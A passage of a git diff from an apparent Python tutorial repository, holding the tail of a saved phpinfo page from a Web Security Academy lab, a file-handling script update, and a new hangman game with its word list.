+$_SERVER['HTTP_HOST'] 0a8700550346ebd1804c946100f40010.web-security-academy.net
+$_SERVER['SUDO_UID'] 10000
+$_SERVER['LOGNAME'] carlos
+$_SERVER['SERVER_SOFTWARE'] PortSwiggerHttpServer/1.0
+$_SERVER['TERM'] unknown
+$_SERVER['PATH'] /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
+$_SERVER['HTTP_ACCEPT_LANGUAGE'] en-US
+$_SERVER['HTTP_REFERER'] https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
+$_SERVER['SERVER_PROTOCOL'] HTTP/1.1
+$_SERVER['HTTP_ACCEPT_ENCODING'] identity
+$_SERVER['SUDO_COMMAND'] /usr/bin/sh -c /usr/bin/php-cgi
+$_SERVER['SHELL'] /bin/bash
+$_SERVER['REDIRECT_STATUS'] true
+$_SERVER['SUDO_USER'] academy
+$_SERVER['REQUEST_METHOD'] GET
+$_SERVER['PWD'] /home/carlos/cgi-bin
+$_SERVER['SERVER_PORT'] 443
+$_SERVER['SCRIPT_NAME'] /cgi-bin/phpinfo.php
+$_SERVER['SERVER_NAME'] 10.0.4.200
+$_SERVER['PHP_SELF'] /cgi-bin/phpinfo.php
+$_SERVER['REQUEST_TIME_FLOAT'] 1712744607.1831
+$_SERVER['REQUEST_TIME'] 1712744607
+
+
+
PHP Credits
+
+PHP Group
+Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
+
+
+Language Design & Concept
+Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
+
+
+PHP Authors
+Contribution Authors
+Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
+Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
+UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot
+Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
+Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski
+Streams Abstraction Layer Wez Furlong, Sara Golemon
+PHP Data Objects Layer Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
+Output Handler Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
+Consistent 64 bit support Anthony Ferrara, Anatol Belski
+
+
+SAPI Modules
+Contribution Authors
+Apache 2.0 Handler Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
+CGI / FastCGI Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
+CLI Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
+Embed Edin Kadribasic
+FastCGI Process Manager Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
+litespeed George Wang
+phpdbg Felipe Pena, Joe Watkins, Bob Weinand
+
+
+Module Authors
+Module Authors
+BC Math Andi Gutmans
+Bzip2 Sterling Hughes
+Calendar Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
+COM and .Net Wez Furlong
+ctype Hartmut Holzgraefe
+cURL Sterling Hughes
+Date/Time Support Derick Rethans
+DB-LIB (MS SQL, Sybase) Wez Furlong, Frank M. Kromann, Adam Baratz
+DBA Sascha Schumann, Marcus Boerger
+DOM Christian Stocker, Rob Richards, Marcus Boerger
+enchant Pierre-Alain Joye, Ilia Alshanetsky
+EXIF Rasmus Lerdorf, Marcus Boerger
+FFI Dmitry Stogov
+fileinfo Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
+Firebird driver for PDO Ard Biesheuvel
+FTP Stefan Esser, Andrew Skalski
+GD imaging Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
+GetText Alex Plotnick
+GNU GMP support Stanislav Malyshev
+Iconv Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
+IMAP Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
+Input Filter Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
+Internationalization Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
+JSON Jakub Zelenka, Omar Kilani, Scott MacVicar
+LDAP Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
+LIBXML Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
+Multibyte String Functions Tsukada Takuya, Rui Hirokawa
+MySQL driver for PDO George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
+MySQLi Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
+MySQLnd Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
+OCI8 Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
+ODBC driver for PDO Wez Furlong
+ODBC Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
+Opcache Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
+OpenSSL Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
+Oracle (OCI) driver for PDO Wez Furlong
+pcntl Jason Greene, Arnaud Le Blanc
+Perl Compatible Regexps Andrei Zmievski
+PHP Archive Gregory Beaver, Marcus Boerger
+PHP Data Objects Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
+PHP hash Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
+Posix Kristian Koehntopp
+PostgreSQL driver for PDO Edin Kadribasic, Ilia Alshanetsky
+PostgreSQL Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
+Pspell Vlad Krupin
+Readline Thies C. Arntzen
+Reflection Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
+Sessions Sascha Schumann, Andrei Zmievski
+Shared Memory Operations Slava Poliakov, Ilia Alshanetsky
+SimpleXML Sterling Hughes, Marcus Boerger, Rob Richards
+SNMP Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
+SOAP Brad Lafountain, Shane Caraveo, Dmitry Stogov
+Sockets Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
+Sodium Frank Denis
+SPL Marcus Boerger, Etienne Kneuss
+SQLite 3.x driver for PDO Wez Furlong
+SQLite3 Scott MacVicar, Ilia Alshanetsky, Brad Dewar
+System V Message based IPC Wez Furlong
+System V Semaphores Tom May
+System V Shared Memory Christian Cartus
+tidy John Coggeshall, Ilia Alshanetsky
+tokenizer Andrei Zmievski, Johannes Schlueter
+XML Stig Bakken, Thies C. Arntzen, Sterling Hughes
+XMLReader Rob Richards
+xmlrpc Dan Libby
+XMLWriter Rob Richards, Pierre-Alain Joye
+XSL Christian Stocker, Rob Richards
+Zip Pierre-Alain Joye, Remi Collet
+Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
+
+
+PHP Documentation
+Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
+Editor Peter Cowburn
+User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
+Other Contributors Previously active authors, editors and other contributors are listed in the manual.
+
+
+PHP Quality Assurance Team
+Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
+
+
+Websites and Infrastructure team
+PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
+Event Maintainers Damien Seguy, Daniel P. Brown
+Network Infrastructure Daniel P. Brown
+Windows Infrastructure Alex Schoenmaker
+
+
PHP License
+
+
+
+This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE
+
+This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.
+
+
+
+
\ No newline at end of file
diff --git a/python-standard-library/grep-clone/requirements.txt b/python-standard-library/grep-clone/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/python-standard-library/grep-clone/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/python-standard-library/handling-files/listing_files.py b/python-standard-library/handling-files/handling-files.py
similarity index 94%
rename from python-standard-library/handling-files/listing_files.py
rename to python-standard-library/handling-files/handling-files.py
index b615ab07..65feb8c3 100644
--- a/python-standard-library/handling-files/listing_files.py
+++ b/python-standard-library/handling-files/handling-files.py
@@ -1,4 +1,5 @@
import os
+import shutil
# print the current directory
print("The current directory:", os.getcwd())
@@ -46,8 +47,10 @@
# remove the folder
os.rmdir("folder")
-# remove nested folders
+# remove nested empty folders
os.removedirs("nested1/nested2/nested3")
+# remote non-empty folders
+shutil.rmtree("nested1")
open("text.txt", "w").write("This is a text file")
diff --git a/python-standard-library/hangman-game/README.md b/python-standard-library/hangman-game/README.md
new file mode 100644
index 00000000..7ed8f74f
--- /dev/null
+++ b/python-standard-library/hangman-game/README.md
@@ -0,0 +1 @@
+# [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python)
\ No newline at end of file
diff --git a/python-standard-library/hangman-game/hangman.py b/python-standard-library/hangman-game/hangman.py
new file mode 100644
index 00000000..1c017bc3
--- /dev/null
+++ b/python-standard-library/hangman-game/hangman.py
@@ -0,0 +1,111 @@
+from string import ascii_letters
+import os
+import random
+
+class Hangman:
+
+ def __init__(self):
+ with open("./words.txt", "r") as file:
+ words = file.read().split("\n")
+ self.secret_word = random.choice(words)
+ self.guessed_word = "*" * len(self.secret_word)
+
+ self.incorrect_guess_limit = 6
+ self.incorrect_guesses = 0
+ self.wrong_guesses = []
+ self.gallow_pieces = [
+ "------",
+ "| |",
+ "| ",
+ "| ",
+ "| ",
+ "|"
+ ]
+ self.gallow = "\n".join(self.gallow_pieces)
+ self.man_pieces = [
+ " \\",
+ "/",
+ " \\",
+ " |",
+ "/",
+ "O",
+ ]
+
+ def greet_user(self):
+ print("Hangman\n")
+
+ def show_list_of_wrong_guesses(self):
+ # show the list of wrong guesses
+ print(f"Wrong guesses: {', '.join(self.wrong_guesses)}\n\n")
+
+ def take_guess(self) -> str:
+ # take user guess
+ while True:
+ guess = input("Guess a letter:\n>>> ")
+ if len(guess) == 1 and guess in ascii_letters:
+ break
+ else:
+ print("Invalid input")
+ return guess
+
+ def is_out_of_guesses(self) -> bool:
+ # check if user is out of guesses
+ return self.incorrect_guesses == self.incorrect_guess_limit
+
+ def check_guess(self, guess_letter: str):
+ # check guess, if correct, update guessed word
+ # if wrong, update gallow
+ if guess_letter in self.secret_word:
+ self._correct_guess(guess_letter)
+ else:
+ self._wrong_guess(guess_letter)
+
+ def _correct_guess(self, guess_letter: str):
+ # find all index positions of the guess letter in the secret word
+ index_positions = [index for index, item in enumerate(self.secret_word) if item == guess_letter]
+ for i in index_positions:
+ # update guessed word
+ self.guessed_word = self.guessed_word[0:i] + guess_letter + self.guessed_word[i+1:]
+
+ def _wrong_guess(self, guess_letter: str):
+ # update gallow
+ row = 2
+ if self.incorrect_guesses > 0 and self.incorrect_guesses < 4:
+ row = 3
+ elif self.incorrect_guesses >= 4:
+ row = 4
+ self.gallow_pieces[row] = self.gallow_pieces[row] + self.man_pieces.pop()
+ self.gallow = "\n".join(self.gallow_pieces)
+ # update wrong guesses
+ if guess_letter not in self.wrong_guesses:
+ self.wrong_guesses.append(guess_letter)
+ self.incorrect_guesses += 1
+
+def main():
+ hangman = Hangman()
+
+ while True:
+ # greet user and explain mechanics
+ os.system('cls' if os.name=='nt' else 'clear')
+ hangman.greet_user()
+ # show gallow and the hidden word
+ print(hangman.gallow, "\n")
+ print("Secret word: ", hangman.guessed_word)
+ # show the list of wrong guesses
+ hangman.show_list_of_wrong_guesses()
+ # check if user is out of guesses
+ if hangman.is_out_of_guesses():
+ print(f"Secret word is: {hangman.secret_word}")
+ print("You lost")
+ break
+ elif hangman.guessed_word == hangman.secret_word:
+ print("YOU WIN!!!")
+ break
+ else:
+ # take user guess
+ guess = hangman.take_guess()
+ # check guess
+ hangman.check_guess(guess)
+
+if __name__ == "__main__":
+ main()
diff --git a/python-standard-library/hangman-game/words.txt b/python-standard-library/hangman-game/words.txt
new file mode 100644
index 00000000..52587ee4
--- /dev/null
+++ b/python-standard-library/hangman-game/words.txt
@@ -0,0 +1,2095 @@
+able
+about
+abruptly
+absurd
+abyss
+account
+acid
+across
+act
+addition
+adjustment
+advertisement
+affix
+after
+again
+against
+agreement
+air
+all
+almost
+among
+amount
+amusement
+and
+android
+angle
+angry
+animal
+answer
+ant
+any
+apparatus
+apple
+approval
+arch
+argument
+arm
+army
+art
+askew
+attack
+attempt
+attention
+attraction
+authority
+automatic
+avenue
+awake
+awkward
+axiom
+azure
+baby
+back
+bad
+bag
+bagpipes
+balance
+ball
+band
+bandwagon
+banjo
+base
+basin
+basket
+bath
+bayou
+beautiful
+because
+bed
+bee
+beekeeper
+before
+behaviour
+belief
+bell
+bent
+bernhard
+berry
+between
+bikini
+bird
+birth
+bit
+bite
+bitter
+black
+blade
+blitz
+blizzard
+blood
+blow
+blue
+board
+boat
+body
+boggle
+boiling
+bone
+book
+bookworm
+boot
+bottle
+box
+boxcar
+boxful
+boy
+brain
+brake
+branch
+brass
+bread
+breath
+breytenbach
+brick
+bridge
+bright
+broken
+brother
+brown
+brush
+buckaroo
+bucket
+buffalo
+buffoon
+building
+bulb
+burn
+burst
+business
+but
+butter
+button
+buxom
+buzzard
+buzzing
+buzzwords
+cake
+caliph
+camera
+canvas
+card
+care
+carriage
+cart
+cat
+cause
+certain
+chain
+chalk
+chance
+change
+cheap
+cheese
+chemical
+chest
+chief
+chin
+church
+circle
+clean
+clear
+clock
+cloth
+cloud
+coal
+coat
+cobweb
+cockiness
+cold
+collar
+colour
+comb
+come
+comfort
+committee
+common
+company
+comparison
+competition
+complete
+complex
+condition
+connection
+conscious
+control
+cook
+copper
+copy
+cord
+cork
+cotton
+cough
+country
+cover
+cow
+crack
+credit
+crime
+croquet
+cruel
+crush
+cry
+crypt
+cup
+cup
+curacao
+current
+curtain
+curve
+cushion
+cycle
+daiquiri
+damage
+danger
+dark
+daughter
+day
+dead
+dear
+death
+debt
+decision
+deep
+degree
+delicate
+dependent
+design
+desire
+destruction
+detail
+development
+different
+digestion
+direction
+dirndl
+dirty
+disavow
+discovery
+discussion
+disease
+disgust
+distance
+distribution
+division
+dizzying
+dog
+door
+doubt
+down
+drain
+drawer
+dress
+drink
+driving
+drop
+dry
+duplex
+dust
+dwarves
+ear
+early
+earth
+east
+edge
+education
+effect
+egg
+elastic
+electric
+embezzle
+end
+engine
+enough
+equal
+equip
+error
+espionage
+euouae
+even
+event
+ever
+every
+example
+exchange
+existence
+exodus
+expansion
+experience
+expert
+eye
+face
+fact
+faking
+fall
+false
+family
+far
+farm
+fat
+father
+fear
+feather
+feeble
+feeling
+female
+fertile
+fiction
+field
+fight
+finger
+fire
+first
+fish
+fishhook
+fixable
+fixed
+fjord
+flag
+flame
+flapjack
+flat
+flight
+floor
+flopping
+flower
+fluffiness
+fly
+flyby
+fold
+food
+foolish
+foot
+for
+force
+fork
+form
+forward
+fowl
+foxglove
+frame
+frazzled
+free
+frequent
+friend
+frizzled
+from
+front
+fruit
+fuchsia
+full
+funny
+future
+gabby
+galaxy
+galvanize
+garden
+gazebo
+general
+get
+giaour
+girl
+give
+gizmo
+glass
+glove
+glowworm
+glyph
+gnarly
+gnostic
+goat
+gold
+good
+gossip
+government
+grain
+grass
+great
+green
+grey
+grip
+grogginess
+group
+growth
+guide
+gun
+haiku
+hair
+hammer
+hand
+hanging
+haphazard
+happy
+harbour
+hard
+harmony
+hat
+hate
+have
+head
+healthy
+hear
+hearing
+heart
+heat
+help
+high
+history
+hole
+hollow
+hook
+hope
+horn
+horse
+hospital
+hour
+house
+how
+humour
+hyphen
+iatrogenic
+ice
+icebox
+idea
+ill
+important
+impulse
+increase
+industry
+injury
+ink
+insect
+instrument
+insurance
+interest
+invention
+iron
+island
+ivory
+ivy
+jackpot
+jaundice
+jawbreaker
+jaywalk
+jazziest
+jazzy
+jelly
+jelly
+jewel
+jigsaw
+jinx
+jiujitsu
+jockey
+jogging
+join
+joking
+journey
+jovial
+joyful
+judge
+juicy
+jukebox
+jumbo
+jump
+kayak
+kazoo
+keep
+kettle
+key
+keyhole
+khaki
+kick
+kilobyte
+kind
+kiosk
+kiss
+kitsch
+kiwifruit
+klutz
+knapsack
+knee
+knife
+knot
+knowledge
+land
+language
+larynx
+last
+late
+laugh
+law
+lead
+leaf
+learning
+leather
+left
+leg
+lengths
+let
+letter
+level
+library
+lift
+light
+like
+limit
+line
+linen
+lip
+liquid
+list
+little
+living
+lock
+long
+look
+loose
+loss
+loud
+love
+low
+lucky
+luxury
+lymph
+machine
+make
+male
+man
+manager
+map
+mark
+market
+marquis
+married
+mass
+match
+material
+matrix
+may
+meal
+measure
+meat
+medical
+meeting
+megahertz
+memory
+metal
+microwave
+middle
+military
+milk
+mind
+mine
+minute
+mist
+mixed
+mnemonic
+money
+monkey
+month
+moon
+morning
+mother
+motion
+mountain
+mouth
+move
+much
+muscle
+music
+mystify
+nail
+name
+naphtha
+narrow
+nation
+natural
+near
+necessary
+neck
+need
+needle
+nerve
+net
+new
+news
+night
+nightclub
+noise
+normal
+north
+nose
+not
+note
+now
+nowadays
+number
+numbskull
+nut
+nymph
+observation
+off
+offer
+office
+oil
+old
+only
+onyx
+open
+operation
+opinion
+opposite
+orange
+order
+organization
+ornament
+other
+out
+ovary
+oven
+over
+owner
+oxidize
+oxygen
+page
+pain
+paint
+pajama
+paper
+parallel
+parcel
+part
+past
+paste
+payment
+peace
+peekaboo
+pen
+pencil
+person
+phlegm
+physical
+picture
+pig
+pin
+pipe
+pixel
+pizazz
+place
+plane
+plant
+plate
+play
+please
+pleasure
+plough
+pneumonia
+pocket
+point
+poison
+polish
+political
+polka
+poor
+porter
+position
+possible
+pot
+potato
+powder
+power
+present
+price
+print
+prison
+private
+probable
+process
+produce
+profit
+property
+prose
+protest
+pshaw
+psyche
+public
+pull
+pump
+punishment
+puppy
+purpose
+push
+put
+puzzling
+quality
+quartz
+question
+queue
+quick
+quiet
+quips
+quite
+quixotic
+quiz
+quizzes
+quorum
+rail
+rain
+range
+rat
+rate
+ray
+razzmatazz
+reaction
+reading
+ready
+reason
+receipt
+record
+red
+regret
+regular
+relation
+religion
+representative
+request
+respect
+responsible
+rest
+reward
+rhubarb
+rhythm
+rhythm
+rice
+rickshaw
+right
+ring
+river
+road
+rod
+roll
+roof
+room
+root
+rough
+round
+rub
+rule
+run
+sad
+safe
+sail
+salt
+same
+sand
+say
+scale
+schnapps
+school
+science
+scissors
+scratch
+screw
+sea
+seat
+second
+secret
+secretary
+see
+seed
+seem
+selection
+self
+send
+sense
+separate
+serious
+servant
+sex
+shade
+shake
+shame
+sharp
+sheep
+shelf
+ship
+shirt
+shiv
+shock
+shoe
+short
+shut
+side
+sign
+silk
+silver
+simple
+sister
+size
+skin
+skirt
+sky
+sleep
+slip
+slope
+slow
+small
+smash
+smell
+smile
+smoke
+smooth
+snake
+snazzy
+sneeze
+snow
+soap
+society
+sock
+soft
+solid
+some
+son
+song
+sort
+sound
+soup
+south
+space
+spade
+special
+sphinx
+sponge
+spoon
+spring
+spritz
+square
+squawk
+staff
+stage
+stamp
+star
+start
+statement
+station
+steam
+steel
+stem
+step
+stick
+sticky
+stiff
+still
+stitch
+stocking
+stomach
+stone
+stop
+store
+story
+straight
+strange
+street
+strength
+strengths
+stretch
+stretch
+strong
+stronghold
+structure
+stymied
+substance
+subway
+such
+sudden
+sugar
+suggestion
+summer
+sun
+support
+surprise
+sweet
+swim
+swivel
+syndrome
+system
+table
+tail
+take
+talk
+tall
+taste
+tax
+teaching
+tendency
+test
+than
+that
+the
+then
+theory
+there
+thick
+thin
+thing
+this
+thought
+thread
+thriftless
+throat
+through
+through
+thumb
+thumbscrew
+thunder
+ticket
+tight
+till
+time
+tin
+tired
+toe
+together
+tomorrow
+tongue
+tooth
+top
+topaz
+touch
+town
+trade
+train
+transcript
+transgress
+transplant
+transport
+tray
+tree
+trick
+triphthong
+trouble
+trousers
+true
+turn
+twelfth
+twelfths
+twist
+umbrella
+under
+unit
+unknown
+unworthy
+unzip
+uptown
+use
+value
+vaporize
+verse
+very
+vessel
+view
+violent
+vixen
+vodka
+voice
+voodoo
+vortex
+voyeurism
+waiting
+walk
+walkway
+wall
+waltz
+war
+warm
+wash
+waste
+watch
+water
+wave
+wave
+wavy
+wax
+waxy
+way
+weather
+week
+weight
+well
+wellspring
+west
+wet
+wheel
+wheezy
+when
+where
+while
+whip
+whiskey
+whistle
+white
+whizzing
+who
+whomever
+why
+wide
+will
+wimpy
+wind
+window
+wine
+wing
+winter
+wire
+wise
+witchcraft
+with
+wizard
+woman
+wood
+wool
+woozy
+word
+work
+worm
+wound
+wristwatch
+writing
+wrong
+wyvern
+xylophone
+yachtsman
+year
+yellow
+yes
+yesterday
+yippee
+yoked
+you
+young
+youthful
+yummy
+zephyr
+zigzag
+zigzagging
+zilch
+zipper
+zodiac
+zombieable
+about
+abruptly
+absurd
+abyss
+account
+acid
+across
+act
+addition
+adjustment
+advertisement
+affix
+after
+again
+against
+agreement
+air
+all
+almost
+among
+amount
+amusement
+and
+android
+angle
+angry
+animal
+answer
+ant
+any
+apparatus
+apple
+approval
+arch
+argument
+arm
+army
+art
+askew
+attack
+attempt
+attention
+attraction
+authority
+automatic
+avenue
+awake
+awkward
+axiom
+azure
+baby
+back
+bad
+bag
+bagpipes
+balance
+ball
+band
+bandwagon
+banjo
+base
+basin
+basket
+bath
+bayou
+beautiful
+because
+bed
+bee
+beekeeper
+before
+behaviour
+belief
+bell
+bent
+bernhard
+berry
+between
+bikini
+bird
+birth
+bit
+bite
+bitter
+black
+blade
+blitz
+blizzard
+blood
+blow
+blue
+board
+boat
+body
+boggle
+boiling
+bone
+book
+bookworm
+boot
+bottle
+box
+boxcar
+boxful
+boy
+brain
+brake
+branch
+brass
+bread
+breath
+breytenbach
+brick
+bridge
+bright
+broken
+brother
+brown
+brush
+buckaroo
+bucket
+buffalo
+buffoon
+building
+bulb
+burn
+burst
+business
+but
+butter
+button
+buxom
+buzzard
+buzzing
+buzzwords
+cake
+caliph
+camera
+canvas
+card
+care
+carriage
+cart
+cat
+cause
+certain
+chain
+chalk
+chance
+change
+cheap
+cheese
+chemical
+chest
+chief
+chin
+church
+circle
+clean
+clear
+clock
+cloth
+cloud
+coal
+coat
+cobweb
+cockiness
+cold
+collar
+colour
+comb
+come
+comfort
+committee
+common
+company
+comparison
+competition
+complete
+complex
+condition
+connection
+conscious
+control
+cook
+copper
+copy
+cord
+cork
+cotton
+cough
+country
+cover
+cow
+crack
+credit
+crime
+croquet
+cruel
+crush
+cry
+crypt
+cup
+cup
+curacao
+current
+curtain
+curve
+cushion
+cycle
+daiquiri
+damage
+danger
+dark
+daughter
+day
+dead
+dear
+death
+debt
+decision
+deep
+degree
+delicate
+dependent
+design
+desire
+destruction
+detail
+development
+different
+digestion
+direction
+dirndl
+dirty
+disavow
+discovery
+discussion
+disease
+disgust
+distance
+distribution
+division
+dizzying
+dog
+door
+doubt
+down
+drain
+drawer
+dress
+drink
+driving
+drop
+dry
+duplex
+dust
+dwarves
+ear
+early
+earth
+east
+edge
+education
+effect
+egg
+elastic
+electric
+embezzle
+end
+engine
+enough
+equal
+equip
+error
+espionage
+euouae
+even
+event
+ever
+every
+example
+exchange
+existence
+exodus
+expansion
+experience
+expert
+eye
+face
+fact
+faking
+fall
+false
+family
+far
+farm
+fat
+father
+fear
+feather
+feeble
+feeling
+female
+fertile
+fiction
+field
+fight
+finger
+fire
+first
+fish
+fishhook
+fixable
+fixed
+fjord
+flag
+flame
+flapjack
+flat
+flight
+floor
+flopping
+flower
+fluffiness
+fly
+flyby
+fold
+food
+foolish
+foot
+for
+force
+fork
+form
+forward
+fowl
+foxglove
+frame
+frazzled
+free
+frequent
+friend
+frizzled
+from
+front
+fruit
+fuchsia
+full
+funny
+future
+gabby
+galaxy
+galvanize
+garden
+gazebo
+general
+get
+giaour
+girl
+give
+gizmo
+glass
+glove
+glowworm
+glyph
+gnarly
+gnostic
+goat
+gold
+good
+gossip
+government
+grain
+grass
+great
+green
+grey
+grip
+grogginess
+group
+growth
+guide
+gun
+haiku
+hair
+hammer
+hand
+hanging
+haphazard
+happy
+harbour
+hard
+harmony
+hat
+hate
+have
+head
+healthy
+hear
+hearing
+heart
+heat
+help
+high
+history
+hole
+hollow
+hook
+hope
+horn
+horse
+hospital
+hour
+house
+how
+humour
+hyphen
+iatrogenic
+ice
+icebox
+idea
+ill
+important
+impulse
+increase
+industry
+injury
+ink
+insect
+instrument
+insurance
+interest
+invention
+iron
+island
+ivory
+ivy
+jackpot
+jaundice
+jawbreaker
+jaywalk
+jazziest
+jazzy
+jelly
+jelly
+jewel
+jigsaw
+jinx
+jiujitsu
+jockey
+jogging
+join
+joking
+journey
+jovial
+joyful
+judge
+juicy
+jukebox
+jumbo
+jump
+kayak
+kazoo
+keep
+kettle
+key
+keyhole
+khaki
+kick
+kilobyte
+kind
+kiosk
+kiss
+kitsch
+kiwifruit
+klutz
+knapsack
+knee
+knife
+knot
+knowledge
+land
+language
+larynx
+last
+late
+laugh
+law
+lead
+leaf
+learning
+leather
+left
+leg
+lengths
+let
+letter
+level
+library
+lift
+light
+like
+limit
+line
+linen
+lip
+liquid
+list
+little
+living
+lock
+long
+look
+loose
+loss
+loud
+love
+low
+lucky
+luxury
+lymph
+machine
+make
+male
+man
+manager
+map
+mark
+market
+marquis
+married
+mass
+match
+material
+matrix
+may
+meal
+measure
+meat
+medical
+meeting
+megahertz
+memory
+metal
+microwave
+middle
+military
+milk
+mind
+mine
+minute
+mist
+mixed
+mnemonic
+money
+monkey
+month
+moon
+morning
+mother
+motion
+mountain
+mouth
+move
+much
+muscle
+music
+mystify
+nail
+name
+naphtha
+narrow
+nation
+natural
+near
+necessary
+neck
+need
+needle
+nerve
+net
+new
+news
+night
+nightclub
+noise
+normal
+north
+nose
+not
+note
+now
+nowadays
+number
+numbskull
+nut
+nymph
+observation
+off
+offer
+office
+oil
+old
+only
+onyx
+open
+operation
+opinion
+opposite
+orange
+order
+organization
+ornament
+other
+out
+ovary
+oven
+over
+owner
+oxidize
+oxygen
+page
+pain
+paint
+pajama
+paper
+parallel
+parcel
+part
+past
+paste
+payment
+peace
+peekaboo
+pen
+pencil
+person
+phlegm
+physical
+picture
+pig
+pin
+pipe
+pixel
+pizazz
+place
+plane
+plant
+plate
+play
+please
+pleasure
+plough
+pneumonia
+pocket
+point
+poison
+polish
+political
+polka
+poor
+porter
+position
+possible
+pot
+potato
+powder
+power
+present
+price
+print
+prison
+private
+probable
+process
+produce
+profit
+property
+prose
+protest
+pshaw
+psyche
+public
+pull
+pump
+punishment
+puppy
+purpose
+push
+put
+puzzling
+quality
+quartz
+question
+queue
+quick
+quiet
+quips
+quite
+quixotic
+quiz
+quizzes
+quorum
+rail
+rain
+range
+rat
+rate
+ray
+razzmatazz
+reaction
+reading
+ready
+reason
+receipt
+record
+red
+regret
+regular
+relation
+religion
+representative
+request
+respect
+responsible
+rest
+reward
+rhubarb
+rhythm
+rhythm
+rice
+rickshaw
+right
+ring
+river
+road
+rod
+roll
+roof
+room
+root
+rough
+round
+rub
+rule
+run
+sad
+safe
+sail
+salt
+same
+sand
+say
+scale
+schnapps
+school
+science
+scissors
+scratch
+screw
+sea
+seat
+second
+secret
+secretary
+see
+seed
+seem
+selection
+self
+send
+sense
+separate
+serious
+servant
+sex
+shade
+shake
+shame
+sharp
+sheep
+shelf
+ship
+shirt
+shiv
+shock
+shoe
+short
+shut
+side
+sign
+silk
+silver
+simple
+sister
+size
+skin
+skirt
+sky
+sleep
+slip
+slope
+slow
+small
+smash
+smell
+smile
+smoke
+smooth
+snake
+snazzy
+sneeze
+snow
+soap
+society
+sock
+soft
+solid
+some
+son
+song
+sort
+sound
+soup
+south
+space
+spade
+special
+sphinx
+sponge
+spoon
+spring
+spritz
+square
+squawk
+staff
+stage
+stamp
+star
+start
+statement
+station
+steam
+steel
+stem
+step
+stick
+sticky
+stiff
+still
+stitch
+stocking
+stomach
+stone
+stop
+store
+story
+straight
+strange
+street
+strength
+strengths
+stretch
+stretch
+strong
